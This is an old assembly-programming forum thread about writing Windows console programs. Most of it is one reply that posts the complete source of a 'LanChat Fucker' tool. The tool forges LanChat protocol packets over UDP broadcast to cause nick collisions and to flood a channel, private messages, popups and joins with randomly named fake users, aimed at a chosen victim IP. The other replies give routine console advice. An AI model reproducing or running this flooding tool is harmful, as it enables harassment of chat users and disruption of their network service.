Hey fellows,

Does anyone have a working console application and would post it here ?

I need to know how to:
open a console (i tried AllocConsole earlier,but i crashes steady)
write to it
read from it
close it

From the API reference i'm working with
WriteConsole to write to it
I open a console with AllocConsole
But that program crashes,
so may be you guys can help me

regards olli
Posted on 2001-08-21 15:03:56 by Olli
I tried to made a console application which almost worked (I don't have the code for now, i'm on vacation, i'll send you september 4 if you like).
The problem was when i launched prog.
I choose CreateProcess to launch them in order to keep my console and to allow stoping them.
The problem is that method is VERY slow.
Does anyone found a better way ?

(s)
Posted on 2001-08-21 15:34:36 by (scalp)
i have found this source (it reads, writes and close a consol), its a program that can hang LANChat (a small but very cool chat program, i recommend it for all LAN useres)

and herer you go (you have to link it with /SUBSYSTEM:CONSOLE param):



-------------------chat_fuck.asm------------------
.386
.model flat,stdcall
option casemap:none



include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\ws2_32.inc
include \masm32\include\shell32.inc

includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\ws2_32.lib
includelib \masm32\lib\shell32.lib

include \masm32\include\masm32.inc
includelib \masm32\lib\masm32.lib


; LanChat PRO --- EQU's
LC_NEWTOPIC equ 50
LC_TOPIC equ 53
LC_TOPIC_TIME equ 54
LC_CANTPOP equ 55
LC_POPOK equ 57
LC_POPUP equ 62
LC_MOTHER equ 78
LC_NORMAL equ 100
LC_AWAY equ 101
LC_ALIVE equ 102
LC_AWAY_ALIVE equ 115
LC_NEWNICK equ 116
LC_ME equ 104
LC_JOIN equ 107
LC_LEAVE equ 108
LC_REQ_AWAY equ 110
LC_REQ_ALIVE equ 111
LC_START_AWAY equ 113
LC_END_AWAY equ 114
LC_LINUX_MSG equ 1
LC_LINUX_POP equ 2
LC_REQ_STATUS_EX equ 90
LC_STATUS_EX equ 91
LC_SLC_OK equ 92
LC_ADD_TO_ROOM equ 96
LC_REMOVE_FROM_ROOM equ 97
LC_UPDATE_ROOM equ 98
LC_WRITING equ 71
LC_NOT_WRITING equ 72

CRYPT_DEFAULT equ 14
CRYPT_SLC equ 58



.data

hInstance HINSTANCE ?

_hConsoleOut dd 0
_hConsoleIn dd 0
_iWritten dd 0


ServerSocket dd 0
lpWSAData WSADATA <0>
sin sockaddr_in <0>
_optval dd 1
_toaddrSize dd 0
_DataLenght dd 0
_Selected_Option db 5 dup(0)
_Internal_Nick db 20 dup(0)
_Internal_Text db 30 dup(0)


szNewLine db 0ah,0dh,0
szConsoleTitle db "LanChat Fucker by phAr/CookieCrK [- [url]www.phar.prv.pl[/url] - [url]www.cookiecrk.org[/url] -]",0
szIntro db " LanChat Fucker by phAr/CookieCrK v.0.2 Beta ;)",0ah,0dh,0
szIP db "( phAr LanChat Fucker )",0ah,0dh,0
szInit db "* Initializing winsock and opening socket...",0ah,0dh,0
szInitOK db "* winsock and socket initialized...",0ah,0dh,0ah,0dh,0
szInitFailed db "* winsock error... aborting",0ah,0dh,0
szMenu db 0ah,0dh," =-[ select option ]-= ",0ah,0dh
db "1 - nick collision",0ah,0dh
db "2 - channel flood",0ah,0dh
db "3 - flood smb (random nick)",0ah,0dh
db "4 - flood smb notice (random nick)",0ah,0dh
db "5 - join flood (ranodom nicks)",0ah,0dh
db "6 - txt (file)",0ah,0dh
db "7 - greetz",0ah,0dh
db "q - quit",0ah,0dh,0
szEnterNick db "Enter somebody nick...",0ah,0dh,0
szEnterJoins db "Press enter and 20 pseudo users will join the Chat!",0ah,0dh,0
szEnterIP db "Enter somebody IP - (ex. 08 for 192.168.15.8)!",0ah,0dh,0
szNotSupported db "This function is not supported... maybe in next release ;)",0ah,0dh,0
szGreetz db "Greetz goes to:",0dh,0ah
db " hinte",0dh,0ah
db " - wie za co $ :>>",0dh,0ah
db " hatch",0dh,0ah
db " - za swoje sfilmowanie na punkcie lanchata",0dh,0ah,0

szClearScreen db 80 dup(20h),0

buffer db 800 dup(0)

LCData = $
cHead db "LC40"
cType dd 0
cSender dd 0
cDest dd 0
cNick DB 20 dup(0)
nR db 0
nG db 0
nB db 0
xVal db 0
cCrypt db 0
Female db 0
Reserved1 dd 0
Reserved2 dd 0
Reserved3 dd 0
Data DB 4000 dup(0)


seed db 4 dup(0)



.code

start:
invoke GetModuleHandle,NULL
mov hInstance,eax

call InitConsole
invoke SetConsoleTitle,addr szConsoleTitle
lea edi,szIntro
call Write_Console


invoke WSAStartup, 02h, offset lpWSAData
.if eax!=0
lea edi,szInitFailed
call Write_Console
jmp @Koniec
.endif

invoke socket, AF_INET, SOCK_DGRAM,IPPROTO_UDP
.if eax==INVALID_SOCKET
lea edi,szInitFailed
call Write_Console
jmp @Koniec
.endif

mov ServerSocket, eax

invoke setsockopt,ServerSocket,SOL_SOCKET,SO_BROADCAST,addr _optval,sizeof _optval
mov [_optval],4096
invoke setsockopt,ServerSocket,SOL_SOCKET,SO_RCVBUF,addr _optval,sizeof _optval
invoke setsockopt,ServerSocket,SOL_SOCKET,SO_SNDBUF,addr _optval,sizeof _optval

mov sin.sin_family,PF_INET
invoke htons,16128
mov sin.sin_port,ax

invoke htonl,INADDR_BROADCAST
mov sin.sin_addr,eax


lea edi,szInitOK
call Write_Console


@MainMenu:
; #######################################################
; ##################### MAIN MENU #######################
; #######################################################
;

mov ecx,15
call Clear_Console

lea edi,szIntro
call Write_Console


lea edi,szMenu
call Write_Console

mov ecx,13
call Clear_Console

;;;; standard settings
mov cDest,255
mov cCrypt,CRYPT_DEFAULT
mov xVal,22
mov Female,0
mov nR,0
mov nG,0
mov nB,0
mov Reserved2,0
mov Reserved3,0
;;;; moze pozniej gdzies to wrzuce ;)


mov ecx,20
lea edi,_Selected_Option
call Read_Console


mov al,byte ptr _Selected_Option
cmp al,31h
je @Nick_Collision ; wybrano 1
cmp al,32h
je @Channel_Flood ; wybrano 2
cmp al,33h
je @Flood_SMB ; wybrano 3
cmp al,34h
je @Flood_NOTICE ; wybrano 4
cmp al,35h
je @Join_Flood ; wybrano 5
cmp al,36h
je @TXT_FILE ; wybrano 6
cmp al,37h
je @Greetz ; wybrano 7
cmp al,71h
je @Koniec ; wybrano q


jmp @MainMenu


; #######################################################
; ################# NICK COLLSION #######################
; #######################################################

@Nick_Collision:
invoke RtlZeroMemory,addr _Internal_Nick,20

lea edi,szEnterNick
call Write_Console

mov ecx,15
lea edi,_Internal_Nick
call Read_Console

mov cType,LC_JOIN
invoke lstrlen,addr _Internal_Nick ; musimy obciac znak konca linii w nicku
dec eax ; obcinamy
invoke lstrcpyn,addr cNick,addr _Internal_Nick,eax ; wypisujemy...

lea esi,szIP
call SendLCMessage
jmp @MainMenu

; #######################################################
; ################## CHANNEL FLOOD ######################
; #######################################################

@Channel_Flood:
xor ecx,ecx
mov ecx,20
@Flood:
push ecx

call GenerateNick
mov byte ptr cSender,al ; cSender musi byc dla kazdego joina inny
invoke lstrcpy,addr cNick,addr _Internal_Nick

call GenerateText

mov cType,LC_NORMAL
invoke lstrcpy,addr cNick,addr _Internal_Nick
lea esi,_Internal_Text
call SendLCMessage
invoke Sleep,100


pop ecx
loop @Flood
jmp @MainMenu


; #######################################################
; #################### FLOOD SMB #######################
; #######################################################

@Flood_SMB:
call GetIP

mov cDest,eax
mov cType,LC_NORMAL

xor ecx,ecx
mov ecx,20
@Priv_Flood:
push ecx

call GenerateNick
mov byte ptr cSender,al ; cSender musi byc dla kazdego priva inny
invoke lstrcpy,addr cNick,addr _Internal_Nick

call GenerateText

invoke lstrcpy,addr cNick,addr _Internal_Nick
lea esi,_Internal_Text
call SendLCMessage
invoke Sleep,100

pop ecx
loop @Priv_Flood
jmp @MainMenu


; #######################################################
; #################### NOTICE FLOOD #####################
; #######################################################

@Flood_NOTICE:
call GetIP

mov cDest,eax
mov cType,LC_POPUP

xor ecx,ecx
mov ecx,20
@Notice_Flood:
push ecx

call GenerateNick
mov byte ptr cSender,al ; cSender musi byc dla kazdego priva inny
invoke lstrcpy,addr cNick,addr _Internal_Nick

call GenerateText

invoke lstrcpy,addr cNick,addr _Internal_Nick
lea esi,_Internal_Text
call SendLCMessage
invoke Sleep,100

pop ecx
loop @Notice_Flood
jmp @MainMenu



; #######################################################
; #################### JOIN FLOOD #######################
; #######################################################

@Join_Flood:
lea edi,szEnterJoins
call Write_Console
mov ecx,20
lea edi,_Selected_Option
call Read_Console
xor ecx,ecx
mov ecx,20
@@Next_Join:
push ecx
call GenerateNick
mov byte ptr cSender,al ; cSender musi byc dla kazdego joina inny
invoke lstrcpy,addr cNick,addr _Internal_Nick
mov cType,LC_JOIN
lea esi,szIP
call SendLCMessage
invoke Sleep,100

pop ecx
loop @@Next_Join
jmp @MainMenu

; #######################################################
; ################# TEXT FROM FILE ######################
; #######################################################

@TXT_FILE:

lea edi,szNotSupported
call Write_Console

mov ecx,15
lea edi,_Internal_Nick
call Read_Console
jmp @MainMenu

; #######################################################
; ##################### GREETZ ##########################
; #######################################################

@Greetz:
lea edi,szGreetz
call Write_Console

mov ecx,15
lea edi,_Internal_Nick
call Read_Console
jmp @MainMenu


@Koniec:
; mov cType,100
; invoke lstrcpy,addr cNick,addr szMiki
; lea esi,szUmow
; call SendLCMessage


invoke closesocket,ServerSocket
invoke WSACleanup
invoke ExitProcess,0



SendLCMessage proc ; wejscie - esi: text do wypisania
invoke lstrcpy,addr [Data+2], esi
invoke lstrlen,addr [Data+2]
mov _DataLenght,eax
lea esi,[Data+2]
call CryptData

push LCData
pop ebx
mov eax,_DataLenght ; dlugosc tekstu
add eax,62 ; uzupelniona o naglowek
invoke sendto,ServerSocket,ebx,eax,0,addr sin,sizeof sin
ret
SendLCMessage endp


InitConsole proc
invoke GetStdHandle,STD_OUTPUT_HANDLE
mov [_hConsoleOut],eax
invoke GetStdHandle,STD_INPUT_HANDLE
mov [_hConsoleIn],eax
ret
InitConsole endp


Write_Console proc
pushad
mov ebx,edi
sub eax,eax
sub ecx,ecx
dec ecx
repnz scasb
not ecx
dec ecx
invoke WriteConsoleA,[_hConsoleOut],ebx,ecx,addr _iWritten,0
popad
ret
Write_Console endp


Read_Console proc
pushad
invoke ReadConsoleA,[_hConsoleIn],edi,ecx,addr _iWritten,0
popad
ret
Read_Console endp

Clear_Console proc
@ClearSCR:
push ecx
lea edi,szClearScreen
call Write_Console
pop ecx
loop @ClearSCR
ret
Clear_Console endp


CryptData proc ; na wejsciu: esi - string do zakodowania
xor eax,eax
xor ebx,ebx
xor edx,edx
@next_one:
mov al,byte ptr [esi]
mov bl,20
mov dl,byte ptr xVal
sub bl,dl
add al,bl

mov dl,al
mov al,255
sub al,dl

mov bl,byte ptr cSender
mov dl,byte ptr cDest
add al,bl
add al,dl

mov byte ptr [esi],al
inc esi
mov al,byte ptr [esi]
cmp al,0
jne @next_one

mov byte ptr [esi],'L'
inc esi
mov byte ptr [esi],'C'
inc esi
mov byte ptr [esi],'4'
inc esi
mov byte ptr [esi],'0'
ret
CryptData endp




; lejmowata procka do "losowania" jakiej literki
; zwraca w al znaki od 65 do 122 czyli tylko duze i male literki
; zerznieta z malymi poprawkami od niejakiego whiz kida :>
GenerateRandom proc
invoke Sleep,10
invoke GetTickCount
mov dword ptr seed,eax
@@OnceAgain:
movzx edx,byte ptr seed[4]
shrd eax,edx,1
mov dword ptr seed,eax
adc dh,0
shr dl,1
mov cl,dl
shr cl,2
and cl,1
xor dh,cl
shl dh,6
or dl,dh
mov byte ptr seed[4],dl

cmp al,65
jb @@OnceAgain
cmp al,122
ja @@OnceAgain

ret
GenerateRandom endp


GenerateNick proc
lea edi,_Internal_Nick
mov ecx,8
@MakeNick:
push ecx
call GenerateRandom
pop ecx
stosb
loop @MakeNick
ret
GenerateNick endp

GenerateText proc
lea edi,_Internal_Text
mov ecx,15
@MakeText:
push ecx
call GenerateRandom
pop ecx
stosb
loop @MakeText
ret
GenerateText endp

;;;;;;;;;;;;;; getip :> w al numer:)

GetIP proc
lea edi,szEnterIP
call Write_Console
mov ecx,5
lea edi,_Selected_Option
call Read_Console
.if byte ptr [edi+1]==0dh
mov byte ptr [edi+1],00
.endif
.if byte ptr [edi+2]==0dh
mov byte ptr [edi+2],00
.endif
.if byte ptr [edi+3]==0dh
mov byte ptr [edi+3],00
.endif

invoke atodw,addr _Selected_Option
ret
GetIP endp

end start
-------------------chat_fuck.asm------------------

(dont blame for the name or what it does)

hope it will help:alright:
Posted on 2001-08-21 15:46:55 by NEMO
thanks gys that helped alot,
it doesn't crash anymore
but it doesn't stay open
it just shows up and dissappears again ?
how come
regards Olli
Posted on 2001-08-21 16:59:24 by Olli
I guess you didn't use the option, "/SUBSYSTEM:CONSOLE" , when
linking your code.
You must use the option.
Posted on 2001-08-21 17:02:23 by hanzo
nope

i did use that option, but it just opens and closes again
Posted on 2001-08-22 08:25:08 by Olli
Olli,
I posted a complete console Application in this thread

This does exactly what you want. Download the asm file and take a closer look at it.
Posted on 2001-08-22 11:43:10 by bazik
I posted on cosole app here:Code Snippets

Is the console window your main (and only) window, or are you trying to create a child console? If you want a main window, just open the stdout/stdin. Run it from a command prompt, or create a short cut to tell windows not to close on exit.
Posted on 2001-08-23 21:17:23 by eet_1024
Use GetStdHandle(STD_OUTPUT_HANDLE) to get a handle to the output file (usually the screen) and write to it using WriteFile(). You do not have to close the returned file handle. Do not forget to link with /SUBSYSTEM:CONSOLE
Posted on 2001-08-27 21:32:36 by comrade